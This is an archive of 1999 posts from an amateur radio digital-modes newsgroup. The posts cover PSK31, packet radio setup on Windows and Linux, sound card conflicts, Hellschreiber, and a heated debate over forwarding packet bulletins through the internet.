Double click on your speaker icon in the taskbar on the bottom-right. Mute
both line in and mic. Then, go options -->properties -->recording and tick
all of the boxes below that. Press OK and then tick "select" on the input
channel you are using. Deselect the rest, and then turn up the input that
you are using to a reasonable volume.
Hope this helps

This would seem to be the best option, a crystral controlled transmitter will be cheaper, and likely consume less power, if optimised for the purpose. Also, less complexity means less things to break while it's stuck on its site. :-)

I know this is not a ham radio question....but hams would know the answer. There a fun group of people!

I remember sometime back seeing a chip with the game of PONG on it. It was not the PIC chip version. In fact I think it had like four versions of PONG.

Does anyone recall this chip?

Steve -- N0FPF

2178. PSK31 - Two Tones - 2 kHz Apart

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-05-05 00:00:00 UTC
From: nobody@crosslink.net
Message-ID: <3730334d.8795080@news.crosslink.net>
Source record: 18334

Someone recently posted a message, either on this newsgroup or on the PSK31 Reflector, regarding a problem with PSK31 reception. As I remember it (can't seem to find the message now), the author was hearing identical PSK31 signals that were exactly 2 kHz apart on the band.

I was running some simple tests yesterday in which I was looking for the 2nd harmonic of the 1 kHz tone and I found the following:

Transmitting from my station #1 (Icom-751A) on frequency 14070.000 and using 1 kHz center frequency.

Receiving on my station #2 (TS-450)on frequency 14070.000 - also using 1 kHz center frequency.

I then scanned upwards in frequency at the receiving station and found another signal of equal strength when tuning to 14072.000.

This began to remind me of the message that I had seen recently on a similar phenomena. I don't remember if anyone satisfactorily resolved that issue at the time, but here is what I found out rather quickly.
1) the phantom signal tunes backwards from the main signal. That is, as you tune through it, it moves in the opposite direction in the waterfall in comparison with the true signal.
2) the phantom signal only exists in the TS-450 when the 2nd IF passband filters of 12 kHz or 6 kHz are in use. When the 2.4 kHz filter is selected, the phantom signal disappears.

I am sure there is a simple explanation for this phenomena based on local oscillator frequency, IF center frequency, etc., but I haven't figured it out yet. In any event, this may be the phenomena that the other gentleman experienced.

2179. Fast RDF?

There's plenty of commercial stuff available that will give essentally instantanious positions. The cost is in the $20,000 or more range however. I have never tried one of the amateur doppler type systems but I would think they could resolve position in under a second.

2181. Two sound boards, one for PSK31

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-05-05 00:00:00 UTC
From: Bob W7KWS <rmfuller@nospamgte.net>
Message-ID: <fk1Y2.18368$Dx6.418224@dfiatx1-snr1.gtei.net>
Source record: 18337

I have installed two sound cards in my computer in an effort to avoid transmitting misc. WAV files on the air and to eliminate always having to change cables. I can use the "multimedia" dialog in the Windows 98 control panel to switch between the sound cards, but all the programs on the computer then switch. I haven't found a way to cause PSK31 software to always use the second sound card while all the other programs use the first sound card.

Does anyone know how to do this?

Thanks,

Bob W7KWS

Note: remove the "nospam" from my email address for a direct reply.

You aren't going to like this answer, Bob.

Run Windows 3.x and Windows 95/98 on the same machine.

Configure one of the two operating systems to use board "A" and ignore
board "B", and vice versa.

Now all you have to do is run PSK31 under Windows 3.x and run
everything else under Windows 95/98

Piece of cake.

The chip you're speaking of is the General Instruments 8500-1, a
28-pin DIP that uses a 2.012160 MHz crystal. Don Lancaster featured it
on page 472 of his CMOS Cookbook - Second Edition (still available). I
never experimented with it myself, I just remember reading about it in
the book. Saturday-morning yard sales are probably the best source for
the chip - offer them 50 cents for the old PONG game...

The is an excellent interface design for PSK31 in the May99 issue of QST
(see page 41) I use it for PSK31 and it should work for you.

Just getting back into packet. My PK232 manual is packed away in a box somewhere and I can't remember some info regarding the PK232. I need to set it to autobaud so I can communicate. Is the reset the Jumper next to the Lithium battery? And which key do I need to press to set the baud rate?

Or, what is the proper procedure to do this?

2196. Re: PSK31 - Two Tones - 2 kHz Apart

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-05-07 00:00:00 UTC
From: Fred <as149@detroit.freenet.org>
Message-ID: <37321120@news.iprolink.co.nz>
Source record: 18352

Your problem is in the receiver. It is an image, hence it tunes the other way. It is probably some 30dB weaker than the main signal, but since you are listening to a very strong signal and the dynamic range of PSK31 is over 50dB, the signal is copyable.

If you attenuate (externally) the signal into the receiver until it is say S8, you will find the image signal will have disappeared.

The signal will be either being generated in a non-linearity in the receiver, or (much more likely) simply be effectively on the "opposite sideband". Remember that without an SSB filter, your receiver will produce a 1 kHz tone from either of two frequencies (USB or LSB) and these are 2KHz apart. The attenuation of the opposite sideband in the SSB certainly will not be infinite,

I think you can only get to one jumper on the bottom without removing
the case, and that's the one you want (jumper JP1). It's right under
the Radio 1/Radio 2 button.
From the manual "If your serial port is operating at 1200 bauds as we
recommend, you'll see the "autobaud" message. Please type (*) for
autobaud routine."

I like your explanation, Murray, and I am sure you are correct -
however, the two signals read the same on the S meter.

I have mine hard wired together and have no difficulty. I have the PC and the Radio connected to the same power outlet so they are already grounded togther on the power cord path.

Some are using 1:1 transformers in the audio lines, an a RELAY in the control line. Most psk-31 and sstv help files and articles show the schematic.

There is also a schematic at:

http://www.guam.net/pub/midxa/special/v_key_hard.html

Works for SSTV and DVK software so I imagine it should
work with about any soundblaster software.

2217. MultiMode 2.1.1 Released

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-05-09 00:00:00 UTC
From: csmolinski@erols.com
Message-ID: <csmolinski-ya02408000R0905990800430001@news.erols.com>
Source record: 18373
Cross-posted to: rec.radio.amateur.digital.misc,rec.radio.scanner,rec.radio.shortwave

I'm pleased to announce the release of version 2.1.1 of MultiMode, a decoding program for amateur radio operators and radio hobbyists.

MultiMode is a shareware application which allows your Macintosh to decode and transmit several different modes of non-voice communication often heard on shortwave and ham radio. It is the only program of its kind for the Macintosh,rivaling commercial packages for the PC platform costing hundreds of dollars. It is ideal for amateur radio operators, shortwave radio listeners, and other radio enthusiasts.

MultiMode allows you to decode and display morse code, RTTY, FAX, SSTV, ACARS, and many other modes on your Mac, without any extra hardware. MultiMode now also allows you to transmit in most of the modes of operation.

MultiMode currently supports the following modes:

Morse Code (CW)
RTTY (Baudot)
ASCII
SITOR-A
SITOR-B / FEC / NAVTEX
SSTV (Slow Scan TV)
WEATHER / SATELLITE FAX
ACARS (Aircraft Communications)
PSK31
DTMF, CCIR, EIA Tone Modes
Hellschreiber
Audio Spectrum Display to aid in properly tuning in stations

MultiMode is shareware. MultiMode may be downloaded from the following URL:
http://www.blackcatsystems.com/software/multimode.html

2218. Ft 470 DTMF decode?

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-05-09 00:00:00 UTC
From: Tom Fanning <tom.f@btinternet.com>
Message-ID: <7h40dr$ga0$1@uranium.btinternet.com>

Cross-posted to: alt.ham-radio.fm,alt.ham-radio.vhf-uhf,rec.radio.amateur.digital.misc

Hi
Just a quick question: can the Yaesu FT-470 handheld decode DTMF tones and if so then how? I see a DTMF buton on the keypad but on entering this mode nothing seems different and it does not decode. (PS I know it can send DTMF so it would be logical for it to rx and decode as well)

de DG4FDI @ DB0CPU.#RPL.DEU.EU (Thomas)
to SYSOP @ WW

Hello Fellow-Sysops

Here is another bad example what can happen if using internet for
amateur bbs forwarding.
The following mail was sent from a ham (?) bbs in ZS.
Then it was obvious imported by a CB bbs (NL3ODB) in the Netherlands.
(I guess this CBer downloaded the bulletin from a internet ftp server
which are fed with bulletins by mindless bbs sysops.)
Then it was forwarded to another CB bbs (NL3MRK).
Then radio.pe1pzl ("PUMEREND" what ever this is) sent it to the packet radio
network (PI8MBQ).

My appeal:

Do not forward (export) amateur radio bulletins outside any media except
amateur RF, which is our media.
Stop forwarding to bbs which use doubtful, non-RF paths, such as internet
(online), e-mail, ftp up/download for bulletins (offline) and telephone bbs.
Don't give such clowns a chance.

Otherwise you might find your next bulletin in any network.

73 de DG4FDI, Thomas, remote sysop DB0CPU

PS: This bulletin was posted to the amateur radio bbs network via RF.
It must not be forwarded, copied etc. to a any other network.
(C) DG4FDI ;-)

Source record: 18378

Andy, you probably got many answers to your request. 1st of all, AMTOR is dead. Packtor took its place. I don't know of any soundcard software that does it. Here is the url for the free rtty software, works very well. It is called BLT
http://www.geocities.com/SiliconValley/Heights/4477/

If you like contesting, there is a commerical software package that does it all, including soundcard rtty and they have added psk31. Take a look at:
http://www.contesting.com/writelog/

and if you decide to dig out that old PK-232, you might want to look at my webpage for some ideas on perking it up.

Hello!

Maybe I am plain stupid, but I don't get it! What's wrong with anybody
getting amateur messages, as anybody with a scanner can "intercept"
amateur communications anyway. I do not see why putting up bulletins for
ftp should be any different. Amateur communications have to be open
as a legal requirement (of course I mean read-only access, and not posting)
so why should this be a problem?

I am right now studying for my HAM-licence and would *love* to get some
information from the packet network (here in Austria the legal situation
for HAM-radio has changed recently, so I really could need some of
this highly secretive stuff :))

Forwarding over the internet implies accepting forward _from_ the
internet. That is the problem. It happens too often that messages
from CB or usenet are imported to the packet-radio net by clueless
gateway operators. Or that broken gateway-software produces dupes.
It is just an empiric observation that such things mostly originate
from those gateways.

Another point is, that internet forward is often one-way (grepping
forward files from ftp-sites) or only temporary. This makes it
nearly impossible to coordinate international forward.

Of course, forwarding over RF is more expensive and needs more
work. But we are radio amateurs, and we should use our own media.
Otherwise the public will not be able to distinguish a radio amateur
from someone who does internet-telephony. And this would be the
death of amateur radio.

The step from forwarding over internet to connect RF-ssb/cw-nets
on different continents over the net is not a big one, imo.

Of course this is completely legal and should be encouraged.
There are several possibities to view packet radio bulletins, e.g.

2228. Help! linux packet problem

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-05-09 00:00:00 UTC
From: scipero@zeno.stoa
Message-ID: <slrn7jbvhr.u0.scipero@zeno.stoa>
Source record: 18384

I've almost got packet running on linux, but I have one big snag: the
PTT circuit won't trigger on the rig.

My setup works perfectly under FlexNet on the Windows side, using
the same soundcard drivers, so I know that my hardware is connected
properly.

I get the proper signal into and out of my soundcard. The only thing
missing is the trigger signal out of my serial port.

Yet when I type 'cat > ttyS2' the rig switches immediately to transmit.

Here's all the info I can think to provide.

'setserial /dev/ttyS2' provides the following:
/dev/ttyS2, UART: 16550A, Port: 0x03e8, IRQ: 4

cat /proc/interrupts gives the following:
CPU0
0: 1139607 XT-PIC timer
1: 16845 XT-PIC keyboard
2: 0 XT-PIC cascade
3: 210624 XT-PIC serial
5: 1026826 XT-PIC sbc
12: 262112 XT-PIC PS/2 Mouse
13: 1 XT-PIC fpu
14: 510864 XT-PIC ide0
15: 62 XT-PIC ide1

I type the following to set up packet:
/sbin/modprobe soundmodem
/usr/sbin/sethdlc -p -i sm0 mode sbc:afsk1200 io 0x230 irq 5 dma 0 /
serio 0x3e8
/usr/sbin/sethdlc -i sm0 -a txd 300 slot 100 ppersist 128 half
/usr/sbin/smmixer -i sm0 s=line o=-20
/sbin/ifconfig sm0 hw ax25 kg4bbk-1 up
/sbin/ifconfig sm0 192.168.0.1 netmask 255.255.255.0
/usr/bin/call radio DXOCRA

I've checked through DejaNews, but couldn't find a similar problem.
It seems like I have some kind of conflict with the serial port, but
I can't imagine what. I would really like to get working on the
linux side instead of on Windows, so any ideas would be very much
appreciated.

Message-ID: <vlpZ2.327$V4.5820@news.goodnet.com>
Source record: 18388

The problem is not internet leaks. The problem is the death
of a mode. There are those who will sink with the ship, rather
than throw lifeboats over the side.

Packet Radio A/FSK died in 1991. What we are seeing now is the
remains of an interesting experiment, by those who maintain
some joy from it. I myself still dabble in A/FSK, because
I play with software, or because some old buddies still use it
to chat. None of us have any false hopes of 1.2 kbps being
as much fun as it was in the beginning.

Right now in my living room is a tripod antenna with a 21 dB
gain antenna on it, that I will mount on my roof next weekend.
To this I will tie a 1.6 Mbps wireless Spread Spectrum modem,
and try to go four miles. If I go four miles with two antennas at
20 ft, I will have invested $220 per node, or, about .013 cents
per bit, as opposed to my 2 meter $350 system which is
about 29 cents per bit.

Proxim Symphony Wireless $120
Dish Antenna $ 70
Mast $ 30
Total $220

If everything works out, I plan to negotiate a high altitude
central site, and have three sectors running on a seperate
modem card.

BBS Forwarding is a dead issue. No one (99% of Hams)reads it.

You can see my project at:

http://ham.usa-site.net

Have fun,
Steve, K5OKC
Oklahoma City

>and Fort Hood area?

I live in the Waco area and we are using 145.090 and 145.570 up here. There is supposed to be a node in the Temple area on the second frequency. The first frequency is mostly BBS traffic and a few of us die-hard keyboard to keyboard ops. There is also some activity on 441.100.

Good luck!

Clinton,

That is not "their" call you see. It is a station they are calling.
On Pactor, you don't see the ID of the station being called until
they get an answer. Doesn't seem legal to me; but, that's the
way it works.

There are lots of BBSs on Pactor. Most of them are operating
Win-Link which is an internet email forwarding system. However,
some of them are just a plain old BBS. You just have to tune
around. Try 7065 to 7080, 10,120 to 10,140, 14,065 to 14,080
These aren't EXACT band-plans; but, they will get you started.

Technically (in the U.S.), if they don't make the link they should ID
with their own call to be legal. The SCS PTC-II firmware now has the
capablility of starting a link request with a CW ID for just that
reason.

On Sun, 9 May 1999 09:35:16 -0500, "Charles Brabham"
<n5pvl@texoma.net> quotes a packet radio message from Thomas, DG4FDI:

: de DG4FDI @ DB0CPU.#RPL.DEU.EU (Thomas)
: to SYSOP @ WW

<story about packet radio message propagating through a CB bbs in the
Netherlands>

: PS: This bulletin was posted to the amateur radio bbs network via RF.
: It must not be forwarded, copied etc. to a any other network.
: (C) DG4FDI ;-)
: --
:
: 73 DE Charles Brabham,
: N5PVL @ N5PVL.#NTX.TX.USA.NOAM
: http://www.texoma.net/~n5pvl

If I understand the message above correctly (which I read from the
Internet rec.radio.amateur.digital.misc newsgroup), Thomas requested
that his message should not be distributed to non-amateur radio
networks.

Despite this explicit request, I find it quite ironic that Charles,
who likes to talk about "Landline Lids", forwarded this message to the
Internet. Talking about double standards ...

Hi Fred , just wondering if you know any friends , contacts or sites where I
can find information regarding cellular phone modifications.
Particularly Motorola and Nokia types.
One of the projects we have in mind is to be able to convert the mobile into
a scanner , but we don't know what the frequency range or ranges are and how
we can modify / program the hardware or software.
The idea is to have a multipurpose scanner that is capable of picking up and
scan the Operational and Maintenance frequencies on our site and assist us
in monitoring day to day problems and equipment breakdowns at our site.
Stage two of the project is to use a two way mobile system for critical
alarm monitoring of specific remotely located test and operational
equipment. The received data will be fed into a logging computer for
statistical analysis.

Would really appreciate any ideas or help you can give us.

Regards,

Alf

2247. MSYS and y2k Any suggestions ???

By now you all know about PSK31 for sound card by Peter G3PLX. You may also know about BTL for RTTY with a sound card, by Rob ZL2AKM.

But do you know about Hellschreiber? Have you tried it? It has a fast growing and dedicated following -

All you need is a Win95/98 PC with a sound card, like PSK31 and BTL, and the performance is very good. Hell is particularly good at rejecting noise, because it is "human readable", so the eye sees patterns and rejects noise. In addition, it is barely affected by ionospheric doppler, and it therefore works fine at times when PSK31 is not usable. It is also is far better performer than RTTY, and occupies similar bandwidth.

There are some 100 or more Hell operators in nearly 40 countries at present. For more information see my web site:

http://www.qsl.net/zl1bpu

For the absolutely AWESOME Hell software by Nino IZ8BLY, see my site or Nino's which is at:

http://www.freeweb.org/varie/ninopo/radio/Hell/index.htm

Encourage your friends to try Hell, which is a neat mode that has a fascinating history and offers both high performance and simplicity to rival CW. If you have any questions, don't hesitate to send me a note.

Andy,
I endorse the other replies about using BTL for RTTY with a sound card, and forgetting Amtor. Shame, because the Amtor FEC mode was really good.

Do try BTL, it works great.

However, PLEASE also look at Hellschreiber as a viable alternative. The hardware setup required is exactly the same as for PSK31, and the performance is very good. Hell is particularly good at rejecting noise, because it is "human readable", so the eye sees patterns and rejects noise. In addition, it is barely affected by ionospheric doppler, and it therefore works fine at times when PSK31 is not usable. It is also is far better performer than RTTY, and occupies similar bandwidth.

It's nice software, but doesn't work on the SB emulation on my notebook.
It sees the sound card, initializes it OK, but then doesn't seem to actual
receive any audio from the sound card (nothing seen on the tuning indicator).

Works fine on the SB16 (real) on my desktop, but my desktop
is a wideband noise source. :-(

>so why should this be a problem?

There's certainly nothing wrong with non-hams reading Ham Radio
communications.

In the message I posted, the author is talking about CB, Internet, and the
telephone being used to "route around" and so undercut the function of
Amateur Radio stations in the carrying of Ham Radio traffic. Hams have their
own digital network. They don't need any help from the CB service, the
Internet, signal flags, etc... Real Hams like to communicate via Ham
Radio. - The real thing.

Look at it this way: Should Hams use Ham Radio to communicate with each
other AS HAMS? - Or should they just call each other up on the telephone
and call that conversation "Ham Radio"?
What makes any particular communication "Ham Radio" is that it is made VIA
Ham Radio.

We have special arraingements for communicating with Non-Hams, such as the
phone-patches used by MARS operators and on many repeaters, but these are
not intended for communications *between* Hams. When Non-Ham means of
communication are used in a situation where Amateur Radio is appropriate,
the hobby is undercut and undermined.

The SYSOP above complains because regulations in some countries do not
protect Hams from this sort of invasion by CB'ers, "LandLine Lids", ect, who
stupidly route Ham Radio communications over Non-Ham means of communication.

The US is one of those backward countries that is causing troubles for Hams around the world. Most of the "LandLine Lids" reside right here in the USA, a legacy of the TAPR organization.

>
>I am right now studying for my HAM-licence and would *love* to get some
>information from the packet network (here in Austria the legal situation
>for HAM-radio has changed recently, so I really could need some of
>this highly secretive stuff :))
>

Nothing secret about it. Call the chamber of commerce and find a contact person for the local Ham Radio club. Go to their meetings, get to know a few of them. You won't be in the dark for long!

By the way: You will almost certainly see a response or two here from the "LandLine Lid" crowd: You can tell them by their behavior: They will depend heavily upon "personality attacks" to make up for the fact that they have no real leg to stand on in their insistence upon using Non-Ham means of communication and then PRETENDING that what they are doing is Ham Radio. Another funny thing they do is to accuse Hams who use Ham Radio as being somehow "backward", or anti-technology, as if the telephone were somehow the latest thing in Ham RADIO technology.

Those of us who are capable of differentiating between Ham Radio and the Telephone know better, of course. ;-)

I think you will enjoy Packet radio. It presents a challenge that many (evidently) are simply not up to, but if you ARE up to it, you will find that it is a very rewarding hobby.

Good luck!

Yep, PTT works fine. I'm posting the solution very generously provided by
Thomas Sailer himself. It turns out that having a 16550A UART was
causing problems, so all I needed to add to my procedure was the following
line:

setserial /dev/ttyS2 uart none

Worked immediately. Many thanks to Thomas, both for the help and for
all the software.

Oh dear. I guess that means my two copies of "Now You're Talking"
aren't actually about Ham Radio since they came from a commercial
publisher.

Have you tried listening to what he has to say? He's trying to encourage
more use of the radio, rather than just using the internet to do it.
I can't see how anyone can have a problem with that.

The argument by the prosecution, is that radio is a sacred
communications mode.

The argument by the defense, is that communication is sacred,
not the mode.

As you can see, there are endless arguments that can be made
for either case. The sad fact is, that the decision will be made by
the government without regard to *either* argument.

The government (FCC) will ask the question "What have they done
for us lately?" and "Can we justify the Billions of dollars in spectrum?"

One group says that by forcing people to use radio, that more radios
will appear and the FCC will grant continued spectrum use.

The other group says that integrating multiple modes is more
economical and much likelier to produce communication, and the
FCC will grant continued spectrum use.

There is a third element. That the FCC will do whatever it pleases,
and money will be the sole argument. In which case we are just
pissing in the wind.

>knowledge of DOS.

You can arrange to send and receive E-mail over HF, but not by using tcpip. In a general sense, tcpip has been found to be almost completely useless over HF, and not much better on the higher frequencies. Small tcpip RF (radio) LANs have been built on the VHF/UHF freqs, but these are of course useless for sending data any significant distance.

Here's a good one: Hard-core tcpip enthusiasts now connect to each other over the telephone (Internet) and PRETEND that they are communicating by Radio. That's how lousy tcpip is as an amateur Packet Radio protocol. Due to this "Amateur Telephone" phenomena associated with Amateur tcpip, that group has become the laughingstock of the Amateur Radio service, and serious Hams won't have anything to do with them.

"Amateur tcpip" is a joke. It died on the vine, due to lack of suitability for it's environment. (Amateur RADIO)

To get your HF E-mail service, you should be looking into the PACTOR mailboxes on HF, not the poor Amateur tcpip folks who can't handle HF communications at all, and must substitute for this ability by getting on the phone and pretending to be legitimate Hams.

2271. Using 2 soundcards on the same PC ?

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-05-11 00:00:00 UTC
From: Kapou <kapou@cybercable.fr>
Message-ID: <373830C0.C84428E8@cybercable.fr>
Source record: 18277

Hi everyone.

Well, here is my problem... I'd like to install 2 soundcards on the same PC (under Win98) to perform a good digital modes reception. The first one may work with Chromasound, to perform a DSP filtering of the weak signals, and the second one should be used with a digital mode decoding software.
I didn't get any success when I tried to install both a Vibra16 (creativelabs), and a PCI64 clone from Ensoniq. Well, these cards are pnp, the system accepts to install them, but after there is no way (of my known) to use the two cards. If one accepts to work, the other one gets conflicts.

Can anyone help me to do this, please ?

>Thanks in advance..
>73 de Doug N3NKA

Doug, I've been told that y2k is not a big problem with BBS software.

Those programs only display the year info... There are no BBS functions done according to what year it is. There could conceivably be a few mix-ups, but even if there are, the problem would tend to clear itself up within a week or so.

I wouldn't be too concerned about it. MSYS is great software, and I don't see any reason why you should "change horses".

Besides, let's remember that "FBB" is alone in the BBS software world in providing easy access to the Packet Radio network by both CB'ers and "LandLine Lids"... Hardly a step up from great Ham software like MSYS.

I heard a rumor that a group of hams in California decided to make AA4RE y2k compliant, then heard another rumor that after much work, they discovered that it wasn't really necessary. - Anybody else have better info on this?

That's correct, Charlie. Poor Jim knows better than to try anything 'rational'
in your case. As for the 'character assassination', we've been thru that before
too. Not possible in your case. In order to have ones character assasinated,
we must assume one had character to begin with. In your case we've already
assumed you don't. Back to the basement, Charlie boy, fire up the 1200
baud TNC.......

Is BTL to be run in a MS-DOS Box or in MS-DOS Mode?

I was just reading a part of my Ensoniq AudioPCI soundcard manual and
it mentioned somethings about Legacy driver being enabled for older
DOS games.
I dont play games on my computer, so I have no experience/knowledge
about that stuff. However, perhaps this explains why in BTL as well
as in RiTTY attempts, nothing seems to get into the soundcard.

I have recently started using PSK31 and my Ensoniq AudioPCI soundcard
works OK there.

The repeated calls are an attempt to link to that callsign by the station
you are hearing (whose call you won't know unless it succeeds in linking).
To get a list of some BBS's that operate 24 hours (mostly) try this site:

http://users.iafrica.com/z/zs/zs5s

Therer are several list here for AMTOR, PACTOR, etc. which are updated
montly.
There's another list run by a DL person, forget the call....

Here is a website devoted to internet connectivity via
HF radio. We are really talking here about COMMERCIAL services
and not just amateur radio.

<http://www.nsrc.org/wireless/HF-radio.html>

8-ary modems of the type used for automatic link establishment
(ALE) also improves HF-internet performance.

Tom, ... sorry, but you can't stifle other people's arguments
and opinions by saying that you're the one who's paying to read them.

If time on line's a problem, try and configure your newsreader not
to download 'expensive' items, or do what I do, and only hit the
net after the beer money's been sorted out.

> Well that's my 2 pence worth.

With a 56K modem at evening rate, this message has cost you approx
0.006p to download.

73, Gareth.

Charles is spouting nonsense as usual. Globe Wireless uses the TCP/IP protocol in its radio Email ship to shore HF systems (running over Clover 2000 and Clover 400 hardware). This system now handles the bulk of HF wireless marine traffic. Works just fine. At VHF/UHF, there are a number of networks which span more than one state, or are nationwide in some cases. Frame relay and ATM are actually losing ground to TCP/IP as wide area protocols. Lucent is currently making a big push to convert from frame relay to TCP/IP for both wired and wireless services. The Ricochet networks all use TCP/IP. And of course in the amateur world, GRAPES has a 4 state 56 kb network which uses the TCP/IP protocol. It has been up for over 10 years now, and continues to expand (unlike the rinky dink amateur frame relay systems operating at 1200 and 9600 baud which have mostly died out).

One of the strongest features of TCP/IP is that it is designed to be an internetworking protocol. That means it doesn't care about the underlying protocols used by the individual networks over which it runs. It makes those transparent to the end user applications. The same applications can run the same way regardless of the details of the underlying hardware and firmware making up the individual networks over which the applications function.

Of course slow links and lossy link level protocols reduce individual network performance, but that isn't a TCP/IP issue, that's a hardware and link firmware issue. Once that's recognized, the proper steps can be used to resolve such issues, as Globe Wireless did by adopting Clover 2000 as the underlying hardware and firmware for the link level of their HF networks. GRAPES did it by choosing a good RF modem, now with FEC at the link level, and doing the careful RF engineering that reliable radio paths require. Ricochet solved the problem with massively redundant paths and an adaptive subnet routing protocol. In all cases, TCP/IP runs transparently over those underlying radio network structures.

AFAIK you can't do it. Windows won't let you. The solution to that is
to get rid of Windows. Linux will allow you to have as many sound
cards as you like as long as there are no hardware address or DMA
channel conflicts.

>Amateur Radio KF4TVB

Under the Accessories folder of Win95 you'll find a program called
Hyperterm. It will work with the TNC. Just configure it for a local
connection and set the speed, number of bits, and parity to match
the settings in the TNC. A TNC is a Terminal Node Controller, as
such it is designed to work with a dumb Terminal. Hyperterm
allows your Win95 computer to emulate a dumb terminal.

There are fancier terminal programs available, designed to automate
the command line tasks you have to do with a dumb terminal. But
Hyperterm is already on your system, and will work with the TNC
the way it was designed to be used.

Hope you got the book with it. Just use any terminal program
designed to work with a modem to test it out. Treat it just as you
would an external modem. You will need to send some commands by
holding the control key of the computer. There is special packet
softwear that may make it eaiser to operate, but ynless you do a lot
with it, you won't need it.

You can download the MFJ 1270C manual from www.mfjenterprises.com.
It's close enough to the B to be just fine. I too bought a 1270B recently,
without manual etc.

The only thing missing from the manual is a good explanation of the
jumper settings. It says how to enable the 2400 modem in my 1270BT, but
not how to get the 1200 back! Which is all I want to use for now.

Cross-posted to:
alt.ham-radio.packet,alt.ham-radio.vhf-uhf,rec.radio.amateur.digital.misc,rec.radio.amateur.equipment,rec.radio.amateur.misc

We have had a flood of inquiries about not having a booth at the Dayton Hamvention, because we are not listed on "The final list of 1999 Hamvention Exhibitors" on the Hamvention website. Timewave will definitely be at Dayton at Booth 111. We registered late and it appears the "final list" is the last one they posted, but does not have all the exhibitors who may have registered late. (I notice Kantronics is not on the list either, but I don't know if they will have a booth or not.)

Check our website (www.timewave.com) for any late info on new products (PK-232/DSP Multimode Controller, PK-900/DSP upgrade, DSP-232 Pactor upgrade, PC Pakratt 2.1 software upgrade) that we will introduce at Dayton.

Stop at Booth 111 to see the new goodies and a software demonstration. Peter, KC0CLY and Randy, K0CBH will man the Timewave booth.

Thank you all for your support.

Tom, take a peep at the last two letters of my e-mail address - that
will probably provide a little cluette.

> It is ironic because you are stifling my argument also and complaining about
> it.

Those words may look good in 'Student Grant', but they won't do much
for your cred here. If you're looking for a good signal-to-noise ratio,
your best bet is to seek out a mailing list that reflects your interests.

Post here all you like, but please don't come down harsh on the
'entertainment'.

Hi there,

Yes you have the right frequencies for Hellschreiber - 14.061 to 14.065 MHz.
We should not use below 14.061 because that puts us in the QRP CW area.

There is some activity on 7.035 to 7.045, and 10.133 to 10.139 MHz as well.

There is activity on 80m in many parts of the world (here it is 3560 kHz),
but you will need to enquire locally for that - I will give some local
contacts for you.

I suggest you subscribe to the Hellschreiber Reflector (automatic email
list)
for all the news as it happens, and even pictures of what others are
receiving.

You can do that on the front page of my web site:

http://www.qsl.net/zl1bpu

You may be interested to know that there are several active listeners on
Hell in Belguim and Holland, and several active amateurs:

You might check the TAPR TNC-2 manual(s) at
ftp://ftp.tapr.org/software_lib/tnc/tncdocs.exe (self-extracting zip file,
but 'unzip -aL' should work from Linux). This is a bit closer to the 1270B
than the 1270C manual. There are schematics available in the same
directory. Unfortunately it won't help with the 1270BT's 2400 baud modem.

Here are the 2 biggest to share the Baycom information with. You might also try TAPR and see there? To the best of my kknowladge, there are NO APRS programs for the baycom at all. I use a DOS version on the HP200LX and this works well. you can find it at tapr, but this stupid WinCE machine and paket/traking are impossible.. Good Luck, and I hoe this helps.. If it get to the SUPER site, Mitch will yell at me to hook the Baycom up and get ready.....73 N8NOE

It isn't a hardware problem, it's a Windows problem. Even if you
would have two cards that don't conflict, you can't use them simultaneously
in Windows. Linux shows that this is possible.

(btw: my Gravis Ultrasound cards can operate on one IRQ each)

Can a Baycom modem, such as a BP-1, can be connected through the a USB port, and if so, how it would be wired?

I would in particular like to use such a hookup with the AGW program. Would it be configured as a Baycom serial port?

Any references, suggestions or comments will be appreciated.

Marty K1FHR

I would appreciate if anyone has informartion regarding celular phone conversions and modifications, particularly Motorola MicroTac 7500 and Nokia 101.

We want to develop an alarm system for industrial remote equipment monitoring using the celular phone as a transmitter for analog data. the monitoring celurar phone needs to be on scan mode to be able to pick up and feed various transmitting mobile phones located on the different equipment.

Any information or references to similar projects would be very much appreciated indeed.

Regards,
Alf

A USB to serial converter would have to be made. USB is not RS232.

Alf,

I don't know if you realize or not, but this is an amateur radio
newsgroup. We are not allowed (in the U.S. anyway) to LISTEN to
cell phone frequencies, much less modify cell phones.

I think you need to tell the boss that your project isn't a
do-it-yourself idea, and then go hire an RF engineer.

73, Jim KH2D

Highly unlikely to work. Cellphones don't listen to other cellphones, they listen to the tower. Also, the range would be quite short.

There's lots of simplex radio gear out that will do what you want.

You would also have to rewrite all the software. Baycom
1200bps modems are designed to operate from a SERIAL port
(ie. have a 8250 UART or equivalent hardware) not just operate at
RS232 voltage levels

2327. Communicating with TNC

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-05-14 00:00:00 UTC
From: Joe Schlatter <w4hh@3wave.com>
Message-ID: <C%T_2.17$4R4.2126@news15.ispnews.com>
Source record: 18233

I use an AEA PK-12 TNC running WinAPRS and PakRatt. TNC is connected to COM1. My computer recently suffered a catastrophic failure and I have rebuilt the computer: new motherboard, moved the hard drives and other peripherals from the old computer..

Running Win98.

Computer is working perfectly except for the TNC. I have four COM ports active:

COM1 is the TNC
COM2 is the modem (works fine)
COM3 is mouse (works fine)
COM4 is a label printer (works fine)

The motherboard has two onboard COM ports that I have configured as COM1 and COM4.
COM2 is the modem
COM3 is located on a plug-in board that contains 2 serial ports (one disabled) and another parallel port.

When I open APRS, the parameters load very slowly, the screen shows packets being received, but I am not able to communicate with the TNC. The only way out of it is cntrl-alt-del then End Task.

When I open PakRatt and try to open the TNC, I get the msg Can't Access TNC.

My mouse is now on COM3 but I initially had the mouse on COM1 and it worked perfectly.

I have tried everything I know -- removing COM1 and reinstalling it (using CMOS setup) and using Control Panel.

Can anyone offer any suggestions? Is there a problem with the way Win98 handles the COM ports?

It's a propriatary protocol. I don't know if James Orleff ever published the specs. When we were designing Pacterm '98, Kantronics never had a copy of them.

2329. Re: Communicating with TNC

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-05-14 00:00:00 UTC
From: Art Becker <artbecker@pipeline.com>
Message-ID: <7hh3qq$8ad$1@nntp3.atl.mindspring.net>
Source record: 18235

